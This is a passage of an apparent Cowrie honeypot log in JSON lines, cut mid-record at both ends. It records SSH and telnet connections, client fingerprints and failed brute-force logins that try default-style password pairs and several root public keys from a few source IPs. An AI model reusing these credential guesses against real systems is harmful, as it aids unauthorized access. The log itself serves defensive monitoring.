openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:03:39.347020Z","src_ip":"165.154.205.128","session":"9d93368e6e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:03:40.283985Z","src_ip":"165.154.205.128","session":"9d93368e6e21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:03:41.513387Z","src_ip":"165.154.205.128","session":"9d93368e6e21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.46.50.18","src_port":48446,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a1db03bc27","protocol":"telnet","message":"New connection: 37.46.50.18:48446 (10.17.0.5:23) [session: 57a1db03bc27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:03:49.866744Z"}
{"eventid":"cowrie.session.closed","duration":12.577025175094604,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:04:02.443643Z","src_ip":"37.46.50.18","session":"57a1db03bc27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":56166,"dst_ip":"10.17.0.5","dst_port":22,"session":"59fc268af105","protocol":"ssh","message":"New connection: 165.154.205.128:56166 (10.17.0.5:22) [session: 59fc268af105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:04:38.334876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:04:38.343073Z","src_ip":"165.154.205.128","session":"59fc268af105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:04:38.571503Z","src_ip":"165.154.205.128","session":"59fc268af105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"passw0rd","message":"login attempt [administrator/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:04:39.515409Z","src_ip":"165.154.205.128","session":"59fc268af105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:04:40.746918Z","src_ip":"165.154.205.128","session":"59fc268af105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":45498,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ead469565bc","protocol":"ssh","message":"New connection: 165.154.205.128:45498 (10.17.0.5:22) [session: 5ead469565bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:05:40.592076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:05:40.597125Z","src_ip":"165.154.205.128","session":"5ead469565bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:05:40.826125Z","src_ip":"165.154.205.128","session":"5ead469565bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei!123","message":"login attempt [root/Huawei!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:05:41.771793Z","src_ip":"165.154.205.128","session":"5ead469565bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:05:43.003356Z","src_ip":"165.154.205.128","session":"5ead469565bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.86.3.187","src_port":53985,"dst_ip":"159.203.135.109","dst_port":23,"session":"96b2bfb0a008","protocol":"telnet","message":"New connection: 210.86.3.187:53985 (159.203.135.109:23) [session: 96b2bfb0a008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:01.211293Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.75.149.221","src_port":34038,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ba411323016","protocol":"ssh","message":"New connection: 51.75.149.221:34038 (10.17.0.5:22) [session: 2ba411323016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:01.272252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:01.280305Z","src_ip":"51.75.149.221","session":"2ba411323016","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:01.371197Z","src_ip":"51.75.149.221","session":"2ba411323016","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:7c:a5:47:65:93:be:13:6c:25:52:c5:0e:7e:11:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe+PRNov9DHOjhNv79jKHMSElmIYNoPsvq1C5D7pdhw8HkVPf9eKg5lDGKk+IoyMuJ0XI4rQPTu2fUlLipIspiLJccLJgvcfKV4fxfuU2fN+h9IEvUBQpY8PPvBfItxt1F5jUgvNNqKQguf5k7aT/pjj7/MvM0yTQBB76cYQnCNgUnr69jHl4TIpNNCtEyBTaRrNgKbn6dYPdjh+mLxFapCIOZvzmNLpk01JoaP6yd6NFiK/HhBGZhRckRkSSC34i+98FY7S4w6TECaDffxru7lM0pyJ0edo6Heku9ajKza429IGJuRNXrGz1QxYIj+d9FdOURW08+lfUGcVFPVUl3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:7c:a5:47:65:93:be:13:6c:25:52:c5:0e:7e:11:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:01.802994Z","src_ip":"51.75.149.221","session":"2ba411323016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:7c:a5:47:65:93:be:13:6c:25:52:c5:0e:7e:11:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe+PRNov9DHOjhNv79jKHMSElmIYNoPsvq1C5D7pdhw8HkVPf9eKg5lDGKk+IoyMuJ0XI4rQPTu2fUlLipIspiLJccLJgvcfKV4fxfuU2fN+h9IEvUBQpY8PPvBfItxt1F5jUgvNNqKQguf5k7aT/pjj7/MvM0yTQBB76cYQnCNgUnr69jHl4TIpNNCtEyBTaRrNgKbn6dYPdjh+mLxFapCIOZvzmNLpk01JoaP6yd6NFiK/HhBGZhRckRkSSC34i+98FY7S4w6TECaDffxru7lM0pyJ0edo6Heku9ajKza429IGJuRNXrGz1QxYIj+d9FdOURW08+lfUGcVFPVUl3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:01.806870Z","src_ip":"51.75.149.221","session":"2ba411323016","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:b2:ff:0b:f7:14:6b:d0:5a:dd:b1:bc:b7:82:69:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC47+dIAgQr2mt0iiZ3LFE0S85CyzLGlZOAkdsf5YMkQ91gHtl7CViUZxhEor8M/2FrNqBsWL8TEuHPfEZj2wgH/4Wf2HkF5oydj7+R+dj5u6L3smiYVA0V4fNij696Bjs3NyVgqCgLQ9djrQf13fNAln7EqxWAG8v9Um1cOdN8NEWwstKqqW8zup4CCdWMO/9zHw9yyNkmDAsJnU3n/erX9ZYtCwfJ5J03/JWf+qz0Kt5T4AoKAg3ZaLTp2368Q7lv1zVKmjqKGaaY1GF6gwNPESkNyIG4DY++SJyWS9A9Dh08mI0SG5yDds5IsE0n1Nq9rm0O6FWdfpd61wutRQc9pXKyXC8OBjRtgsjIolnXQ3QM01PTD+SaK2hfml/GeHsxdXrOKv3CvL6E8OBvd0JHrXBia6D9DaGcXTZzOHHkDKnvcnV7bsF0dCBPZ0Y3gL/qIJxA3BDPGjLlh8HQqve02pBTJVTAsha9cHVmx1/RQOeuVdcIjDnivOaVx02jMpDQlwFspSTYXWfOumqmYQH6o4nmtHNNhIJGQSp4ITaUyt/iBz9Im4su7Bbzhut8oq/541rCGgtlUHHyIxnlD8WzVNyAaxKXaspRj3A3zJc79qOiR1PBFudijsWzAzJ/+/pBix8EjTM69VL8SAyneUVFN+/tN2ANYmnu4kCUihd5aQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:b2:ff:0b:f7:14:6b:d0:5a:dd:b1:bc:b7:82:69:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:01.911691Z","src_ip":"51.75.149.221","session":"2ba411323016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:b2:ff:0b:f7:14:6b:d0:5a:dd:b1:bc:b7:82:69:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC47+dIAgQr2mt0iiZ3LFE0S85CyzLGlZOAkdsf5YMkQ91gHtl7CViUZxhEor8M/2FrNqBsWL8TEuHPfEZj2wgH/4Wf2HkF5oydj7+R+dj5u6L3smiYVA0V4fNij696Bjs3NyVgqCgLQ9djrQf13fNAln7EqxWAG8v9Um1cOdN8NEWwstKqqW8zup4CCdWMO/9zHw9yyNkmDAsJnU3n/erX9ZYtCwfJ5J03/JWf+qz0Kt5T4AoKAg3ZaLTp2368Q7lv1zVKmjqKGaaY1GF6gwNPESkNyIG4DY++SJyWS9A9Dh08mI0SG5yDds5IsE0n1Nq9rm0O6FWdfpd61wutRQc9pXKyXC8OBjRtgsjIolnXQ3QM01PTD+SaK2hfml/GeHsxdXrOKv3CvL6E8OBvd0JHrXBia6D9DaGcXTZzOHHkDKnvcnV7bsF0dCBPZ0Y3gL/qIJxA3BDPGjLlh8HQqve02pBTJVTAsha9cHVmx1/RQOeuVdcIjDnivOaVx02jMpDQlwFspSTYXWfOumqmYQH6o4nmtHNNhIJGQSp4ITaUyt/iBz9Im4su7Bbzhut8oq/541rCGgtlUHHyIxnlD8WzVNyAaxKXaspRj3A3zJc79qOiR1PBFudijsWzAzJ/+/pBix8EjTM69VL8SAyneUVFN+/tN2ANYmnu4kCUihd5aQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:01.916300Z","src_ip":"51.75.149.221","session":"2ba411323016","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:97:9a:a2:f9:b6:30:83:ed:2a:70:13:a3:fe:2a:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqZKdIoTrde3gTcdI4r0tqmV3yKTC0CHXIixj68v5UorigROcHoiz9hMondS3/LwWzrMLJk/5fnS+YJxD7T/ajr9XlUe/1rWLIYEbm7zFpC8/epSYQFJSkseh0g7C/etVUXVRVqxWdKhtPeazXLH0IwbBzX2nzZyjIz8NLfE32wDuruMCaj8pGPvXLbkIphzjPwoKg0RX/rZ6Ni4r5hgqGFJujyPM6kLfb+CPTZB55mTe7P0dS4q/6jxalmkODf1Eh7GFOompUGpmMJwS/qKQwQMGJbRJZ7PIPxJsYFlISNybaQNy7011UZ1A+55JjcpoeiBWt77Qv97RjoeF83OIODWb1QcdNI7ziP5tsYXrfL8QXkWHDbQ1i7Kwq41fiW+qmiI0P4sWgbYukuJ4lAA0Q8tJnWlSZDH6bQKSPeZ7O4Td7NH8u7tNyojiKVXukslNDwH5Z1VKEJJ6+gxHRkSIOqDMusuNFgDKeJyVzLYN0cZT6ndj97tZw5llc+7+ANAZX2wHC5RV2nonAGeaRxj1MAh35nVRTm8tsRehvVgqZR5QlJ+0HcZxuLlZU8Eb+N4ipVoEosQ1YcYp3sS6y9uQBgJWQ16ZduU+P7AxhYs8XRzFvdO3KP3m0sHm9f5a/Za1oLtGH9Xt1BoVddS/R2KIyCeKiAQVYaBL4oW147jo20Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:97:9a:a2:f9:b6:30:83:ed:2a:70:13:a3:fe:2a:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:02.010999Z","src_ip":"51.75.149.221","session":"2ba411323016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:97:9a:a2:f9:b6:30:83:ed:2a:70:13:a3:fe:2a:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqZKdIoTrde3gTcdI4r0tqmV3yKTC0CHXIixj68v5UorigROcHoiz9hMondS3/LwWzrMLJk/5fnS+YJxD7T/ajr9XlUe/1rWLIYEbm7zFpC8/epSYQFJSkseh0g7C/etVUXVRVqxWdKhtPeazXLH0IwbBzX2nzZyjIz8NLfE32wDuruMCaj8pGPvXLbkIphzjPwoKg0RX/rZ6Ni4r5hgqGFJujyPM6kLfb+CPTZB55mTe7P0dS4q/6jxalmkODf1Eh7GFOompUGpmMJwS/qKQwQMGJbRJZ7PIPxJsYFlISNybaQNy7011UZ1A+55JjcpoeiBWt77Qv97RjoeF83OIODWb1QcdNI7ziP5tsYXrfL8QXkWHDbQ1i7Kwq41fiW+qmiI0P4sWgbYukuJ4lAA0Q8tJnWlSZDH6bQKSPeZ7O4Td7NH8u7tNyojiKVXukslNDwH5Z1VKEJJ6+gxHRkSIOqDMusuNFgDKeJyVzLYN0cZT6ndj97tZw5llc+7+ANAZX2wHC5RV2nonAGeaRxj1MAh35nVRTm8tsRehvVgqZR5QlJ+0HcZxuLlZU8Eb+N4ipVoEosQ1YcYp3sS6y9uQBgJWQ16ZduU+P7AxhYs8XRzFvdO3KP3m0sHm9f5a/Za1oLtGH9Xt1BoVddS/R2KIyCeKiAQVYaBL4oW147jo20Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:02.019524Z","src_ip":"51.75.149.221","session":"2ba411323016","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:89:73:f5:b6:35:d5:3f:ba:46:38:a8:a5:a2:f5:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGuKjMroi6SK/HVWfdvaPwWCC9FGvrmkxkQKRff4DALIY6S80OGNYRpzyljFakgeOkx55ZfsY2/D4012NhRw+JZMJeMXH+lVclhd2Ot+7MRBeuSwqhpjNmTaSk/FiN8QRGnL80r+AqcPEEZCivWZ+nEyrHvTRGwG7DJY4GzL8153XDKoUhmDU4UIhyq3ySHFTyoBdT3jgpdqekhG6c8DygB0UsJEBzk1bkfvPwKTnGl95I8l8xGxVv83sWMGRAlOcp4fKGBVX5KQJ554OQ8g9969+Yn+gyNeNdaJiG2bKptRLP+wOmBX7JwfcLkCNpvKD2GSAAPF9cOPcwfiWjp83E2gySy/d4ZOTSXlDf9vKBxiLgTfEHIjNTj4PIvg9YA6G5A12XTc+rFvd5VLUwoN/QXJOFIDLo8+ydiKonJkxyc5a2fV6izQp8BYpNCAUs7KLoy5P8pih8Pax+CsiTrDaNSYM394Z5RtLUKXOmB2QKkLW00ZHAbzy477wHMxjapTbAsjZfKZHT4jxU4cTDCbS2aPiFijaI/Z+h1mE3/IeTpb7NFIJaE3FnrENm1jmMHkv+llizDl52nA70vyS3s1PjmWsfOxOhbBRUBJQd8TNyIddbvdir5YJ0lKJCp8MG/lsypouDntZL/v5mTgsT8N363jK6yjDQlggm78S7PbTSWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:89:73:f5:b6:35:d5:3f:ba:46:38:a8:a5:a2:f5:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:02.123110Z","src_ip":"51.75.149.221","session":"2ba411323016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:89:73:f5:b6:35:d5:3f:ba:46:38:a8:a5:a2:f5:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGuKjMroi6SK/HVWfdvaPwWCC9FGvrmkxkQKRff4DALIY6S80OGNYRpzyljFakgeOkx55ZfsY2/D4012NhRw+JZMJeMXH+lVclhd2Ot+7MRBeuSwqhpjNmTaSk/FiN8QRGnL80r+AqcPEEZCivWZ+nEyrHvTRGwG7DJY4GzL8153XDKoUhmDU4UIhyq3ySHFTyoBdT3jgpdqekhG6c8DygB0UsJEBzk1bkfvPwKTnGl95I8l8xGxVv83sWMGRAlOcp4fKGBVX5KQJ554OQ8g9969+Yn+gyNeNdaJiG2bKptRLP+wOmBX7JwfcLkCNpvKD2GSAAPF9cOPcwfiWjp83E2gySy/d4ZOTSXlDf9vKBxiLgTfEHIjNTj4PIvg9YA6G5A12XTc+rFvd5VLUwoN/QXJOFIDLo8+ydiKonJkxyc5a2fV6izQp8BYpNCAUs7KLoy5P8pih8Pax+CsiTrDaNSYM394Z5RtLUKXOmB2QKkLW00ZHAbzy477wHMxjapTbAsjZfKZHT4jxU4cTDCbS2aPiFijaI/Z+h1mE3/IeTpb7NFIJaE3FnrENm1jmMHkv+llizDl52nA70vyS3s1PjmWsfOxOhbBRUBJQd8TNyIddbvdir5YJ0lKJCp8MG/lsypouDntZL/v5mTgsT8N363jK6yjDQlggm78S7PbTSWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:02.128718Z","src_ip":"51.75.149.221","session":"2ba411323016","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:95:3e:81:46:0a:d6:3f:38:38:cf:6c:28:a2:a5:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEG9bw35OFbYuInIV1OiQhYNJPakwvKkP5yiKLAnVqChwQFyKnXbw7MrX3iQtdv/q6LT0YMc4CNlRgALfsa+dyDDzdg0VZzXLjqPqQvI2rUvDGeHBJmhQwNeFjlIAvKsP95f/RAVFQF5cf2CmQWd+qxj3D8DyUeb0nK4zLJRfqnpSvL3GPmv2Haf8RjEjuNjkVZfZctKzcW2oWBi3aqD/Uo31I9vidKxJn4GKYCXY6PNyrIIyzHaot/LFbBcbyocXCvH0z1tjWHfhTg0dOjo6Gfk6EmTMNlqa3Sd6WWzAPMJbWjGylArmZDkPgasCzBxrGzb5N5BgNH3VxO0bzqFzIwy9MjwOUd5KF87iehf0h7fIG91OErLRSuQLObP3HXhtNHV01djWaUM3XGDYVhISHezVAHIpBOEzoNc1U4d59COUfMrVJRduShwpU7mbYttuNsGpQKWYWrb/d+xE/xwR3Pi9KnKwn5Ly4mMjegp0fOB2bWh+gGZSlvOKlGY7UXw6jpOIc3fqXgbm4wXSeIDlI0vR5ogycTRJTSwcw2A2XQQoP4NCkBdaOHltXILeYATJ0cnAYNaGPyzSg+RtsbDhY56CYSinepi44X8D59lWD7SqcqozyfcGMtIXOSvSVR4TbfyeG5SEJJfHVvN0XrTbB31Tx2AmAIIGnBlbRlauCLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:95:3e:81:46:0a:d6:3f:38:38:cf:6c:28:a2:a5:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:06:02.222732Z","src_ip":"51.75.149.221","session":"2ba411323016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:95:3e:81:46:0a:d6:3f:38:38:cf:6c:28:a2:a5:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEG9bw35OFbYuInIV1OiQhYNJPakwvKkP5yiKLAnVqChwQFyKnXbw7MrX3iQtdv/q6LT0YMc4CNlRgALfsa+dyDDzdg0VZzXLjqPqQvI2rUvDGeHBJmhQwNeFjlIAvKsP95f/RAVFQF5cf2CmQWd+qxj3D8DyUeb0nK4zLJRfqnpSvL3GPmv2Haf8RjEjuNjkVZfZctKzcW2oWBi3aqD/Uo31I9vidKxJn4GKYCXY6PNyrIIyzHaot/LFbBcbyocXCvH0z1tjWHfhTg0dOjo6Gfk6EmTMNlqa3Sd6WWzAPMJbWjGylArmZDkPgasCzBxrGzb5N5BgNH3VxO0bzqFzIwy9MjwOUd5KF87iehf0h7fIG91OErLRSuQLObP3HXhtNHV01djWaUM3XGDYVhISHezVAHIpBOEzoNc1U4d59COUfMrVJRduShwpU7mbYttuNsGpQKWYWrb/d+xE/xwR3Pi9KnKwn5Ly4mMjegp0fOB2bWh+gGZSlvOKlGY7UXw6jpOIc3fqXgbm4wXSeIDlI0vR5ogycTRJTSwcw2A2XQQoP4NCkBdaOHltXILeYATJ0cnAYNaGPyzSg+RtsbDhY56CYSinepi44X8D59lWD7SqcqozyfcGMtIXOSvSVR4TbfyeG5SEJJfHVvN0XrTbB31Tx2AmAIIGnBlbRlauCLw==","type":"ssh-rsa","message":"public key login attempt for [root] 